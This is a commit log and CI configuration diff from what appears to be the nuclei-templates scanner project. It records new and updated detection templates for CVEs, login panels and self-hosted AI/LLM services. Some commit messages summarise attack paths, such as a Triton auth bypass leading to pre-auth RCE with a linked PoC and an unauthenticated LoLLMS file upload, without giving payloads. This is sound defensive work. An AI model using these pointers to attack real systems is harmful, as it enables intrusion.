ghost f50e489ca4 chore: sign templates 🤖 2026-07-15 12:21:57 +00:00
Aman Rawat 0c920579b2 Merge pull request #16535 from eloydegen/add-dkim-selectors
Add selectors to dkim-record-detect.yaml
2026-07-15 17:51:37 +05:30
ghost 1482f62c61 chore: generate templates checksum 🤖 2026-07-15 07:20:23 +00:00
ghost bc4a19d8ac chore: generate new addition list 🤖 2026-07-15 07:18:21 +00:00
ghost 5e5a4a501f chore: sign templates 🤖 2026-07-15 07:17:40 +00:00
ghost fa5fabec5e chore: generate CVEs metadata 🤖 2026-07-15 07:17:33 +00:00
pussycat0x 643972f954 Merge pull request #16573 from projectdiscovery/Akokonunes-patch-11
Add CVE-2026-59801.yaml - 9Router - Unauthenticated LLM Provider API Exposure
2026-07-15 12:47:17 +05:30
infosec-asish 62ee3f17f4 fix dsl matcher updates 2026-07-15 10:22:29 +05:30
infosec-asish 310fc4c85b fix(langfuse): update health endpoint matcher for strict JSON parsing 2026-07-15 10:13:55 +05:30
infosec-asish 49418cd841 fix(langfuse): update health endpoint matcher for strict JSON parsing 2026-07-15 10:11:03 +05:30
ghost 490586283f chore: generate templates checksum 🤖 2026-07-15 04:34:55 +00:00
ghost bba0a48d37 chore: generate new addition list 🤖 2026-07-15 04:33:01 +00:00
ghost a25b6e94f8 chore: generate CVEs metadata 🤖 2026-07-15 04:32:20 +00:00
ghost e9360e2b2c chore: sign templates 🤖 2026-07-15 04:32:16 +00:00
Dhiyaneshwaran 22880abb8d Merge pull request #16564 from projectdiscovery/Akokonunes-patch-7
Add CVE-2026-46339.yaml - 9Router <= 0.4.36 - Unauthenticated RCE
2026-07-15 10:01:57 +05:30
Roberto Nunes ea54404a47 Add CVE-2026-59801 vulnerability details
CVE-2026-59801 details an unauthenticated access vulnerability in 9Router, allowing remote attackers to manipulate provider connections. It includes remediation steps and references for further information.
2026-07-15 12:11:21 +09:00
ghost 69a5a3cf92 chore: update EPSS scores 🤖 2026-07-15 02:59:53 +00:00
Roberto Nunes 6db58ff1eb Create CVE-2026-52773.yaml 2026-07-15 11:54:24 +09:00
idealphase 0650a529b1 Update authors and add another actuator HTTP path
add actuator
2026-07-14 22:59:43 +07:00
Alex Chen 4de30dc8f3 fix(CVE-2026-23550): request canonical trailing-slash login path
Signed-off-by: Alex Chen <[email protected]>
2026-07-14 18:29:53 +03:00
rxerium 6280a6ff16 Add Qualys Cloud Platform login panel 2026-07-14 16:16:08 +01:00
Nick Vidovic ddc1dc7f71 Add CVE-2026-56291: Balbooa Forms < 2.4.1 Unauthenticated File Upload 2026-07-14 16:04:54 +02:00
ArjunBasnet fd6f6141ac Add 9 CVE detection templates
CVE-2016-3714 (ImageMagick / ImageTragick - delegate command injection)
CVE-2017-7504 (JBossMQ HTTPServerILServlet - Java deserialization)
CVE-2018-10933 (libssh - authentication bypass, version fingerprint)
CVE-2018-15708 (Nagios XI < 5.5.7 - MagpieRSS argument injection)
CVE-2019-8942  (WordPress < 5.0.1 - authenticated path traversal)
CVE-2019-11043 (PHP-FPM path_info buffer underflow - RCE)
CVE-2019-17554 (Apache Olingo 4.x - XXE)
CVE-2020-2555  (Oracle Coherence T3 - deserialization, version fingerprint)
CVE-2020-10221 (rConfig <= 3.9.4 - authenticated OS command injection)
2026-07-14 13:25:39 +00:00
Dominique RIGHETTO 18ad3bd18f Add files via upload 2026-07-14 09:46:12 +02:00
ghost a5c2e8e4da chore: generate templates checksum 🤖 2026-07-14 07:10:14 +00:00
ghost bdfed11427 chore: generate new addition list 🤖 2026-07-14 07:08:05 +00:00
ghost 50ad4b7797 chore: sign templates 🤖 2026-07-14 07:08:01 +00:00
Ritik Chaddha eba752ed47 Merge pull request #16541 from niranc/patch-2
Update MinIO default login configuration
2026-07-14 12:37:39 +05:30
ghost 3283b3b59f chore: generate CVEs metadata 🤖 2026-07-14 07:07:31 +00:00
ghost dfe592261a chore: sign templates 🤖 2026-07-14 07:07:24 +00:00
Ritik Chaddha 7daafe491b Merge pull request #16542 from Voorivex/CVE-2026-50229
Add CVE-2026-50229 Apache Tomcat Number Guess XSS template
2026-07-14 12:37:01 +05:30
ghost 2455379e45 chore: update EPSS scores 🤖 2026-07-14 02:59:22 +00:00
Roberto Nunes 40fdc821fb Add CVE-2026-46339 YAML file for unauthenticated RCE 2026-07-14 11:06:01 +09:00
ghost 0a72cc3e64 chore: generate templates checksum 🤖 2026-07-14 00:07:43 +00:00
ghost b71b9f7f37 chore: sign templates 🤖 2026-07-14 00:05:11 +00:00
Roberto Nunes b7f0eae144 Merge pull request #16560 from daffainfo/patch-416616
Rename unauth-cluster-trino to trino-unauth-cluster
2026-07-14 09:04:49 +09:00
pepe d22843ac75 Add CVE-2026-33497 for Langflow path traversal vulnerability 2026-07-13 23:17:20 +03:00
ghost 37142f1283 chore: generate templates checksum 🤖 2026-07-13 19:26:27 +00:00
ghost f181afe63e chore: generate new addition list 🤖 2026-07-13 19:24:27 +00:00
ghost 720028f8ea chore: sign templates 🤖 2026-07-13 19:23:42 +00:00
Aman Rawat 189a7b46ae Merge pull request #16533 from Th3l0newolf/apache-solr
Add Bitnami Apache Solr Stack technology detection
2026-07-14 00:53:21 +05:30
ghost ae78112237 chore: generate templates checksum 🤖 2026-07-13 18:43:14 +00:00
ghost 55c8a83cc5 chore: sign templates 🤖 2026-07-13 18:40:23 +00:00
Ritik Chaddha 7680bc8361 Merge pull request #16545 from mrperfectkarak-svg/patch-5
Update regex for company field in CVE-2026-1731
2026-07-14 00:09:59 +05:30
Ritik Chaddha 451fd59ccb Update CVE-2026-50229.yaml 2026-07-14 00:08:41 +05:30
Ritik Chaddha 163ae69541 Update minio-default-login.yaml 2026-07-14 00:07:29 +05:30
ghost c9661214f7 chore: generate templates checksum 🤖 2026-07-13 18:35:19 +00:00
ghost b39b7ca0ef chore: sign templates 🤖 2026-07-13 18:34:27 +00:00
Ritik Chaddha cc159353e5 Merge pull request #16500 from projectdiscovery/fix-false-positive-nextjs
Update CVE-2024-34351.yaml with new configurations
2026-07-14 00:04:03 +05:30
ghost 7a95972e05 chore: generate new addition list 🤖 2026-07-13 18:33:24 +00:00
ghost db3419f743 chore: generate new addition list 🤖 2026-07-13 18:33:04 +00:00
ghost 9a5d015e7e chore: generate CVEs metadata 🤖 2026-07-13 18:32:49 +00:00
ghost 0ff36c86ea chore: sign templates 🤖 2026-07-13 18:32:44 +00:00
Ritik Chaddha 40083f2f11 Merge pull request #16483 from VixianSchool/feat/cve-2026-3326
feat: add CVE-2026-3326 - XStore Theme < 9.7.3 Unauthenticated SQL Injection
2026-07-14 00:02:21 +05:30
Ritik Chaddha 069e2ce7b7 Merge pull request #16478 from VixianSchool/feat/CVE-2026-24207-triton-sagemaker-auth-bypass
feat: add CVE-2026-24207 - NVIDIA Triton Inference Server SageMaker Auth Bypass / RCE
2026-07-14 00:02:00 +05:30
ghost 4ca2917b0a chore: generate templates checksum 🤖 2026-07-13 18:29:54 +00:00
Ritik Chaddha 7fe7baebb6 Merge branch 'main' into fix-false-positive-nextjs 2026-07-13 23:59:27 +05:30
ghost 084f877bb3 chore: sign templates 🤖 2026-07-13 18:29:01 +00:00
Ritik Chaddha a28aa7e673 Merge pull request #16506 from gnuletik/fix/CVE-2025-29635/invalid-matcher-type
fix(CVE-2025-29635): invalid matcher type
2026-07-13 23:58:41 +05:30
ghost af52428148 chore: sign templates 🤖 2026-07-13 18:27:11 +00:00
Ritik Chaddha 4abc81da73 Merge pull request #16495 from projectdiscovery/added-new-path
Add additional paths to Keycloak admin panel config
2026-07-13 23:56:51 +05:30
Ritik Chaddha 593ba0ec00 Update CVE-2026-3326.yaml 2026-07-13 23:55:31 +05:30
Ritik Chaddha 6daf54039a Update CVE-2026-24207.yaml 2026-07-13 23:54:46 +05:30
ghost e5acc62a50 chore: generate templates checksum 🤖 2026-07-13 16:49:19 +00:00
ghost 90665fcc6e chore: generate new addition list 🤖 2026-07-13 16:48:47 +00:00
ghost 155950626f chore: sign templates 🤖 2026-07-13 16:48:01 +00:00
pussycat0x b47c8edf5a Merge pull request #16300 from Th3l0newolf/SeaweedFS
Add Unauthenticated access to SeaweedFS Filer panel
2026-07-13 22:17:40 +05:30
ghost 0e79c763f7 chore: generate CVEs metadata 🤖 2026-07-13 16:47:00 +00:00
ghost 6db0290f68 chore: sign templates 🤖 2026-07-13 16:46:56 +00:00
pussycat0x ed1501990c Merge pull request #16550 from daffainfo/patch-369864
Modify CVE-2026-50751.yaml with new reference link
2026-07-13 22:16:37 +05:30
ghost b7cb0bbc1b chore: sign templates 🤖 2026-07-13 16:46:30 +00:00
pussycat0x 17a318a80a Merge pull request #16546 from daffainfo/patch-813224
Rename fuji-xerox-internet-service.yaml file
2026-07-13 22:16:05 +05:30
ghost e64485a228 chore: generate templates checksum 🤖 2026-07-13 16:31:41 +00:00
ghost 5ea6bf1c47 chore: generate new addition list 🤖 2026-07-13 16:29:44 +00:00
ghost 5e51a42ccf chore: sign templates 🤖 2026-07-13 16:29:02 +00:00
pussycat0x a6f503cb49 Merge pull request #16359 from Th3l0newolf/Kestra
Add Kestra Login Panel detection
2026-07-13 21:58:37 +05:30
pussycat0x 13d847deba Update CVE-2026-50751.yaml 2026-07-13 21:56:40 +05:30
pussycat0x 9674361ccd Update fuji-xerox-internet-service.yaml 2026-07-13 21:56:11 +05:30
pussycat0x 8c23e98760 Update CVE-2026-55450.yaml 2026-07-13 20:06:26 +05:30
ghost bd13fa15ec chore: generate templates checksum 🤖 2026-07-13 11:35:16 +00:00
ghost 764d2a6378 chore: sign templates 🤖 2026-07-13 11:32:30 +00:00
Dhiyaneshwaran 900b037f8d Merge pull request #16559 from daffainfo/patch-995417
Update name format in echo-detect.yaml
2026-07-13 17:02:10 +05:30
Dhiyaneshwaran 8d9e523e68 Rename bitnami-apache-solr-detect.yaml to bitnami-apache-solr.yaml 2026-07-13 16:58:20 +05:30
Dhiyaneshwaran 4ec5fc92e9 Update Bitnami Apache Solr detection configuration 2026-07-13 16:52:21 +05:30
Dhiyaneshwaran a5777912c2 Update and rename kestra-login-panel.yaml to kestra-panel.yaml 2026-07-13 16:49:22 +05:30
Dhiyaneshwaran cc5aec3069 Rename seaweedfs-filer-panel.yaml to seaweedfs-unauth.yaml 2026-07-13 16:46:30 +05:30
Dhiyaneshwaran db9d7e789a Modify SeaweedFS Filer panel configuration
Updated the SeaweedFS Filer configuration to reflect unauthenticated access and adjusted severity level.
2026-07-13 16:46:01 +05:30
pepe 4df6157a66 Update CVE-2026-55450.yaml 2026-07-13 13:24:03 +03:00
pepe 6c33e3b5e8 Remove 'attack' field from CVE-2026-55450.yaml
Removed the 'attack' field from the CVE YAML file.
2026-07-13 13:04:32 +03:00
pepe 996a5c5b2b Add CVE-2026-55450 vulnerability details
CVE-2026-55450 details the critical unauthenticated file upload vulnerability in Langflow versions prior to 1.9.1, including impact, remediation, and attack vectors.
2026-07-13 13:02:48 +03:00
Muhammad Daffa ace83057d6 Rename unauth-cluster-trino to trino-unauth-cluster 2026-07-13 16:25:50 +07:00
Aman Rawat 2ffa671827 Update echo-detect.yaml 2026-07-13 13:00:29 +05:30
Muhammad Daffa 41a9137f95 Update name format in echo-detect.yaml 2026-07-13 13:41:01 +07:00
ghost 7add7e2dc1 chore: generate templates checksum 🤖 2026-07-13 05:37:31 +00:00
ghost e60eb6c9c1 chore: sign templates 🤖 2026-07-13 05:35:03 +00:00
Aman Rawat 83a65ee1d8 Merge pull request #16548 from daffainfo/patch-747333
Move http/CVE-2016-9299.yaml to code/CVE-2016-9299.yaml
2026-07-13 11:04:43 +05:30
ghost 0bf8b37adb chore: sign templates 🤖 2026-07-13 05:34:33 +00:00
Aman Rawat f21854f8fc Merge pull request #16498 from daffainfo/patch-54844
Update and rename zm-system-log-detect.yaml to zoneminder-system-log.…
2026-07-13 11:04:14 +05:30
Dhiyaneshwaran b8dd29c0af Remove commented digest line from CVE-2016-9299.yaml 2026-07-13 10:19:57 +05:30
ghost 65ad359c8d chore: generate templates checksum 🤖 2026-07-13 04:49:57 +00:00
DhiyaneshwaranandCursor ed1e6a985f Merge branch 'main' into patch-747333
Resolve digest/EPSS conflict in CVE-2016-9299 while keeping the code/ path move.

Co-authored-by: Cursor <[email protected]>
2026-07-13 10:18:45 +05:30
ghost 82a1bba02b chore: generate new addition list 🤖 2026-07-13 04:48:13 +00:00
ghost b8874e1c26 chore: generate CVEs metadata 🤖 2026-07-13 04:47:31 +00:00
ghost 729ae1c7be chore: sign templates 🤖 2026-07-13 04:47:22 +00:00
Dhiyaneshwaran 0f6f89cf40 Merge pull request #16558 from projectdiscovery/Akokonunes-patch-7
Add CVE-2026-52774.yaml - YesWiki Bazar Widget XSS
2026-07-13 10:17:04 +05:30
ghost 988cfd7534 chore: sign templates 🤖 2026-07-13 04:44:31 +00:00
Dhiyaneshwaran 45051badae Merge pull request #16549 from daffainfo/patch-468676
Move joomla-com-fabrik-lfi.yaml to new directory
2026-07-13 10:14:11 +05:30
ghost b7adbff89a chore: generate templates checksum 🤖 2026-07-13 04:41:20 +00:00
ghost 0cbfb6b5ce chore: sign templates 🤖 2026-07-13 04:38:23 +00:00
Roberto Nunes 96ee22e112 Merge pull request #16547 from daffainfo/patch-176635
Update and rename nuuno-network-login.yaml to nuuo-network-login.yaml
2026-07-13 13:37:57 +09:00
Roberto Nunes 5a1408ac58 Merge pull request #16530 from daffainfo/patch-503644
Delete duplicate exposed-panels tomcat templates
2026-07-13 13:37:52 +09:00
Dhiyaneshwaran e2d8b6562e Merge branch 'main' into patch-5 2026-07-13 09:52:51 +05:30
Dhiyaneshwaran 4c32f65344 Revise CVE-2026-50229 details and remediation
Updated the description and remediation for CVE-2026-50229, clarifying the XSS vulnerability and affected versions.
2026-07-13 09:46:26 +05:30
Dhiyaneshwaran 7e847442f9 Update authors and tags in apache-tomcat-exposed.yaml 2026-07-13 09:39:57 +05:30
Roberto Nunes 529edf58c3 Add CVE-2026-52774 for YesWiki Bazar Widget XSS 2026-07-13 12:11:49 +09:00
ghost 300f20d7c3 chore: update EPSS scores 🤖 2026-07-13 03:00:55 +00:00
Roberto Nunes 91d9b9d9ae Merge branch 'main' into patch-369864 2026-07-13 11:37:32 +09:00
pussycat0x 7888f32b16 Update joomla-com-fabrik-lfi.yaml 2026-07-13 07:56:22 +05:30
ghost 6994a9cdb6 chore: update KEV and vKEV tags and metadata 🤖 2026-07-12 04:13:24 +00:00
ghost bb29c3a996 chore: update EPSS scores 🤖 2026-07-12 03:00:37 +00:00
panchiko-p 12d6f73e0e Add template for CVE-2026-56290 unauthenticated file upload detection 2026-07-11 12:36:45 -04:00
Aleff 5c3b2de4f0 Merge branch 'main' into cve-2025-55746-directus-file-modification 2026-07-11 11:15:06 +02:00
Rishi c0fc07dc2e Merge branch 'main' into add-ai-ml-gap-templates 2026-07-11 08:34:24 +01:00
rxerium 14025cd73b Update KNIME panel matcher 2026-07-11 08:31:01 +01:00
rxerium 7205ad4a88 ai/llm panels 2026-07-11 08:26:52 +01:00
ghost a6e28fb218 chore: update KEV and vKEV tags and metadata 🤖 2026-07-11 04:03:51 +00:00
ghost e63e538c2a chore: update EPSS scores 🤖 2026-07-11 02:59:56 +00:00
ghost 23f897d679 chore: generate templates checksum 🤖 2026-07-11 00:25:32 +00:00
ghost 9e9c734714 chore: generate new addition list 🤖 2026-07-11 00:23:38 +00:00
ghost 51bab5ca73 chore: sign templates 🤖 2026-07-11 00:22:50 +00:00
Dhiyaneshwaran c4d5aa37df Merge pull request #16543 from rxerium/add-maxkb-panel
Add MaxKB panel detection template
2026-07-11 05:52:29 +05:30
ghost 17315de39e chore: update KEV and vKEV tags and metadata 🤖 2026-07-10 04:23:22 +00:00
ghost 30d0f68cea chore: update EPSS scores 🤖 2026-07-10 03:01:38 +00:00
zy9ard3 c0188ccd0d wix takeover fingerprint update 2026-07-10 08:23:07 +05:30
Muhammad Daffa 0293f53502 Modify CVE-2026-50751.yaml with new reference link
Updated reference URL for CVE-2026-50751 and added details on the remediation.
2026-07-09 20:55:52 +07:00
Muhammad Daffa 730d9d2fb3 Move joomla-com-fabrik-lfi.yaml to new directory 2026-07-08 22:32:26 +07:00
Muhammad Daffa aec6b1acd2 Move http/CVE-2016-9299.yaml to code/CVE-2016-9299.yaml 2026-07-08 22:24:53 +07:00
Muhammad Daffa ced7aade28 Update and rename nuuno-network-login.yaml to nuuo-network-login.yaml 2026-07-08 20:33:41 +07:00
Muhammad Daffa ce55a78f61 Add fuji-xerox-internet-service.yaml file 2026-07-08 20:31:25 +07:00
Aman Rawat 2998912f34 Update minio-default-login.yaml 2026-07-08 11:07:58 +05:30
mrperfectkarak-svg 8bbf3819f6 Update regex for company field in CVE-2026-1731
https://github.com/projectdiscovery/nuclei-templates/issues/16544
2026-07-07 16:53:38 +03:00
Rishi e2c6b14fad Merge branch 'main' into add-maxkb-panel 2026-07-07 11:48:07 +01:00
rxerium 7a8756f373 Remove unrelated CVE templates from MaxKB PR 2026-07-07 11:39:24 +01:00
rxerium b995194325 Add MaxKB panel detection template 2026-07-07 11:35:24 +01:00
Yashar Shahinzadeh ae2a36eee6 Add CVE-2026-50229 Apache Tomcat Number Guess XSS template 2026-07-07 11:21:21 +02:00
Pastaga 2c9223d34b Update MinIO default login configuration
Updated max-request limit and modified shodan-query. Added payloads for login requests and adjusted matchers for response validation.
2026-07-06 21:14:18 +02:00
Eloy a753e2da30 Add selectors to dkim-record-detect.yaml
Based on list from https://github.com/ryancdotorg/dkimscan/blob/master/dkimscan.pl#L310
2026-07-03 11:01:26 +02:00
Th3l0newolf [ Chinmay Divekar] 4f50a540f9 Update description from 'discovered' to 'detected' 2026-07-02 23:59:52 -07:00
Th3l0newolf [ Chinmay Divekar] d330e88601 Add Bitnami Apache Solr Stack technology detection
Added detection for Bitnami Apache Solr Stack welcome page.
2026-07-02 23:54:46 -07:00
Muhammad Daffa 34c3d0dd63 Update and rename tomcat-exposed.yaml to apache-tomcat-exposed.yaml 2026-07-02 17:23:44 +07:00
Muhammad Daffa 06fbf21f28 Delete http/exposed-panels/apache/public-tomcat-manager.yaml 2026-07-02 17:21:29 +07:00
pussycat0x 8ab46c8833 Update CVE-2026-24207.yaml 2026-07-01 23:46:43 +05:30
Dhiyaneshwaran 5f0b13d791 Update CVE-2026-3326.yaml 2026-07-01 12:15:43 +05:30
Andrew Smith fdfe53f269 Merge branch 'projectdiscovery:main' into twitter_fp 2026-06-30 09:37:16 -04:00
Andrew Smith 3022d91fb6 Update twitter-phish.yaml
bugfix and additional checks for more robust matching
2026-06-30 09:36:25 -04:00
HD Moore f93f231ffd Merge branch 'main' into ai-llm-detect-templates 2026-06-29 21:00:00 -05:00
gnuletik 33a2218909 fix(CVE-2025-29635): invalid matcher type 2026-06-29 22:29:10 +02:00
Dhiyaneshwaran ab3283e629 Refactor CVE-2024-34351.yaml for improved checks 2026-06-29 16:28:01 +05:30
Dhiyaneshwaran 547ec7159e Update CVE-2024-34351.yaml with new configurations
Updated max-request limit and added new tags. Modified HTTP request matchers and extractors for improved functionality.
2026-06-29 15:24:16 +05:30
Muhammad Daffa a6eb755f54 Update and rename zm-system-log-detect.yaml to zoneminder-system-log.yaml 2026-06-29 15:46:24 +07:00
Dhiyaneshwaran 2124daaeb2 Add additional paths to Keycloak admin panel config 2026-06-29 10:24:03 +05:30
VixianSchool 54c8b05803 feat: add CVE-2026-3326 - XStore Theme < 9.7.3 Unauthenticated SQL Injection 2026-06-28 14:24:47 +03:00
VixianSchool 873ce12d85 feat: add CVE-2026-24207 NVIDIA Triton SageMaker auth bypass
NVIDIA Triton Inference Server <= 26.02 does not enforce the
--http-restricted-api configuration on the /models route, allowing
unauthenticated access to the model-management API. Combined with the
Python-backend LOAD primitive, this enables pre-auth RCE.

Detection: confirm Triton via /v2/health/ready (http/1), then probe
/models without auth header (http/2). Vulnerable if 200/404 with no
'This API is restricted' in the response.

PoC: https://github.com/offseckit/CVE-2026-24207
2026-06-28 08:26:21 +03:00
fsoppelsa fbcaaf9be5 Add vLLM OpenAI-compatible API unauthenticated exposure template 2026-06-27 19:59:20 +02:00
김경규 6edc3e2c3e Merge branch 'main' into add-cve-2026-0558-lollms-template 2026-06-26 13:41:46 +09:00
Stas Shilov 139fec016e fix: remove trailing spaces in dameng-detect.yaml 2026-06-26 01:32:15 +03:00
Stas Shilov 4a7fb4f47a fix lint - use String.fromCharCode(0) instead of literal null byte 2026-06-26 01:23:55 +03:00
Stas Shilov e7525b5cea fix lint - zero byte 2026-06-26 01:14:44 +03:00
Stas Shilov 0a73fb00ad fix dameng-detect: use positive signature to avoid false positives 2026-06-26 00:36:59 +03:00
ashvinctrl 5b9d0b1b28 fix(mongodb-unauth): use OP_MSG instead of removed OP_QUERY opcode
MongoDB 6.0+ removed support for the legacy OP_QUERY opcode for commands.
The template's getLog probe therefore returns "Unsupported OP_QUERY
command: getLog. The client driver may require an upgrade." and no longer
matches unauthenticated instances (false negative, #16294).

Switch the probe to OP_MSG (opcode 2013) carrying
{getLog: "startupWarnings", $db: "admin"}. The matcher (totalLinesWritten)
is unchanged.

Verified locally against MongoDB 8.3.4: the template matches an
unauthenticated instance and does not match an instance started with
--auth (no false positive).
2026-06-24 15:12:49 +05:30
HD Moore 63a2afd8d4 Add AI/LLM inference + MCP server detection templates
14 new http/technologies templates for self-hosted AI/LLM infrastructure and the
Model Context Protocol, plus a TorchServe enrichment: ollama, vllm,
openai-compatible-api, lmstudio, sglang, tgi, tei, koboldcpp, jan, open-webui,
librechat, flowise, anythingllm, mcp-server (and torchserve-detect management-API
model enumeration).

All info severity, read-only metadata endpoints only (the MCP template performs
just the JSON-RPC initialize handshake, never tools/call), nuclei -validate clean,
and true/false-positive tested against mock servers. Detection logic is derived
from nmap-ai-recon by Ben Williams (@insidetrust); each template credits that
origin in a leading comment.
2026-06-20 20:05:07 -05:00
Kenneth LaCroix 0b67123507 Add CVE-2026-45695 Kopia server SSH ProxyCommand injection RCE 2026-06-19 09:54:33 -06:00
rxerium 321fd7b9ef Add Splunk Enterprise missing auth CVE-2026-20253 detection template 2026-06-13 17:52:01 +01:00
Ritik Chaddha 22779bc961 Create CVE-2022-39258.yaml 2026-06-11 13:16:06 +05:30
Andrew Smith 445e0a1a20 Update twitter-phish.yaml 2026-06-09 16:45:23 -04:00
Th3l0newolf [ Chinmay Divekar] ba3b32cedb Add Kestra Login Panel detection 2026-06-09 10:15:27 -07:00
Morgan Robertson e3a7cad874 Enrich perforce templates 2026-06-07 18:36:06 +10:00
WRG-11 88c16d3c0f Create CVE-2026-31831.yaml 2026-06-05 03:28:06 +03:00
Th3l0newolf [ Chinmay Divekar] a93dfb9fa1 Add Unauthenticated access to SeaweedFS Filer panel
This configuration file describes the SeaweedFS Filer panel with critical unauthenticated access vulnerabilities.
2026-05-29 02:02:52 -07:00
rxerium fad69d81f1 refactor(CVE-2026-0300): simplify DSL matchers using compare_versions range checks 2026-05-25 14:35:39 +01:00
Rishi 96ca8d55ad Merge branch 'main' into add-cve-2026-0300 2026-05-25 14:33:39 +01:00
KoungQ aedb4b938f add CVE-2026-0558 LoLLMS unauthenticated file upload template
Add a nuclei HTTP template for CVE-2026-0558 affecting parisneo/lollms
up to 2.2.0.

The template sends a low-impact unauthenticated multipart text upload to
/api/files/extract-text and verifies that the server processes the file by
checking for a JSON text_content response containing a random marker.

References include the Huntr report, NVD entry, and upstream patch commit.
2026-05-22 01:14:14 +09:00
chan 79410d332b Add CVE-2026-35037 Ech0 SSRF template 2026-05-20 14:50:17 +09:00
aleff-github 7342fe40f6 Add Directus CVE-2025-55746 template 2026-05-16 18:09:30 +02:00
PachkaKofe04 6ed23ed763 Convert geovision-geowebserver-lfi-xss to CVE-2021-47795 2026-05-13 14:35:28 +05:00
rxerium d025b7745a fix trailing whitespace in CVE-2026-0300 template 2026-05-10 19:28:15 +01:00
Rishi 44d43ab6df Merge branch 'main' into add-cve-2026-0300 2026-05-10 19:11:03 +01:00
pussycat0x 8e4ec216c1 Create CVE-2025-2505.yaml 2026-05-07 16:55:07 +05:30
rxerium 75fab39b51 Add CVE-2026-0300 PAN-OS Captive Portal buffer overflow detection template 2026-05-06 11:22:07 +01:00
ydking0911 4f28d03f6f add CVE-2026-4060 template 2026-05-04 20:53:07 +09:00
Chris (ChrisJr404) 9b2f56bbe0 Add CVE-2024-42323 - Apache HertzBeat SnakeYAML deserialization RCE 2026-05-02 13:47:18 -04:00
Chris (ChrisJr404) 81476ed785 Add CVE-2024-56511 - DataEase whitelist path-traversal authentication bypass 2026-05-02 13:17:37 -04:00
0xP3n ae4081e57f Add CVE-2025-54988: Apache Tika XXE Injection
- Added nuclei template for CVE-2025-54988 (Apache Tika XXE Injection)
- CVSS 9.8 Critical (CWE-611)
- Affects Apache Tika versions 1.13 through 3.2.1
- Detects Apache Tika server and tests PDF parsing endpoint

Ref: https://nvd.nist.gov/vuln/detail/CVE-2025-54988
2026-04-27 17:54:03 +08:00
hugo-syn 6d1fde1848 feat: add body fuzzing to DAST and add POST/PUT methods 2026-04-17 11:01:03 +02:00
pussycat0x 90ad525c9b Update unauth-java-message-broker-detect.yaml 2026-02-13 15:17:41 +05:30
pussycat0x 47496b67a6 Merge branch 'main' into add-tags 2026-02-13 15:12:57 +05:30
Matej Smycka 845215a1ef chore: update vuln and discovery tags 2026-02-02 12:48:50 +01:00
Dhiyaneshwaran 387de06a81 Delete network/cves/2024/CVE-2024-23108.yaml 2025-11-19 04:00:10 +05:30
Jaenact 984ff7752e fix(unix-command-injection): regex enter 2025-08-13 18:03:34 +09:00
Jaenact c99b3d66f4 fix: add request definition, set author, strengthen metadata/matchers 2025-08-13 17:58:50 +09:00
Jaenact d5e2f06a9a add command-injection 2025-08-07 09:55:19 +09:00
Thacien 2a0fa983fd Merge branch 'main' into CVE-2023-34992 2024-07-17 22:33:51 -06:00
resume a1e721457d Added CVE-2023-34992 and CVE-2024-23108 Templates 2024-07-17 21:44:32 -06:00
4993 changed files with 51299 additions and 25412 deletions

No files matched your search

-2
View File
@@ -7,7 +7,6 @@ addAssignees: false
# A list of reviewers to be added to pull requests (GitHub user name)
reviewers:
- ritikchaddha
- pussycat0x
- DhiyaneshGeek
# A number of reviewers added to the pull request
@@ -16,7 +15,6 @@ numberOfReviewers: 1
# A list of assignees, overrides reviewers if set
assignees:
- pussycat0x
- ritikchaddha
- DhiyaneshGeek
+2 -2
View File
@@ -7,8 +7,8 @@ password = sys.argv[3]
repo_owner = "projectdiscovery"
repo_name = "nuclei-templates"
pr_user_list = ["pussycat0x", "DhiyaneshGeek", "ritikchaddha"]
issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "pussycat0x", "princechaddha"]
pr_user_list = ["DhiyaneshGeek", "ritikchaddha"]
issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "princechaddha"]
headers = {'Authorization': f'Bearer {password}',
'Accept': 'application/vnd.github+json',
+2 -2
View File
@@ -29,10 +29,10 @@ jobs:
// ======= CONFIG: put your user pools here =======
// Usernames must be GitHub logins and collaborators on this repo.
const ISSUE_ASSIGNEES = [
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
"ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const REVIEW_POOL = [
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
"ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
// ================================================
+1 -1
View File
@@ -21,7 +21,7 @@ jobs:
fetch-depth: 0
- name: Setup Python
uses: actions/setup-python@v6
uses: actions/setup-python@v7
with:
python-version: '3.11'
+1 -1
View File
@@ -15,7 +15,7 @@ jobs:
uses: actions/checkout@v7
- name: Setup Python
uses: actions/setup-python@v6
uses: actions/setup-python@v7
with:
python-version: '3.11'
+1 -1
View File
@@ -15,7 +15,7 @@ jobs:
uses: actions/checkout@v7
- name: Setup Python
uses: actions/setup-python@v6
uses: actions/setup-python@v7
with:
python-version: '3.11'
+1 -1
View File
@@ -14,7 +14,7 @@ jobs:
steps:
- run: sudo apt-get install tree -y
- uses: actions/checkout@v7
- uses: actions/setup-python@v6
- uses: actions/setup-python@v7
with:
python-version: "3.8"
- run: python .github/scripts/update-readme.py
+10
View File
@@ -6,6 +6,16 @@ on:
- main
paths:
- '**.yaml'
# The EPSS and KEV jobs rewrite template YAML after signing, which invalidates
# every signature they touch. Their commits use GITHUB_TOKEN, so they cannot
# fire the push trigger above. workflow_run fires regardless of the actor, so
# signatures are restored as soon as those jobs finish.
workflow_run:
workflows:
- "📊 EPSS Score Update"
- "📋 KEV & vKEV Tag Update"
types:
- completed
workflow_dispatch:
jobs:
@@ -13,7 +13,7 @@ jobs:
uses: actions/checkout@v7
- name: Install Python3
uses: actions/setup-python@v6
uses: actions/setup-python@v7
with:
python-version: "3.10"
+123 -62
View File
@@ -1,62 +1,123 @@
dns/dns-internal-ip-disclosure.yaml
http/cves/2026/CVE-2026-10823.yaml
http/cves/2026/CVE-2026-13731.yaml
http/cves/2026/CVE-2026-1890.yaml
http/cves/2026/CVE-2026-22778.yaml
http/cves/2026/CVE-2026-28496.yaml
http/cves/2026/CVE-2026-30958.yaml
http/cves/2026/CVE-2026-34413.yaml
http/cves/2026/CVE-2026-48282.yaml
http/cves/2026/CVE-2026-48313.yaml
http/cves/2026/CVE-2026-48611.yaml
http/cves/2026/CVE-2026-52815.yaml
http/cves/2026/CVE-2026-56782.yaml
http/cves/2026/CVE-2026-8037.yaml
http/cves/2026/CVE-2026-8383.yaml
http/cves/2026/cve-2026-44381.yaml
http/default-logins/dahua/dahua-icc-default-login.yaml
http/exposed-panels/array-networks-ssl-vpn-panel.yaml
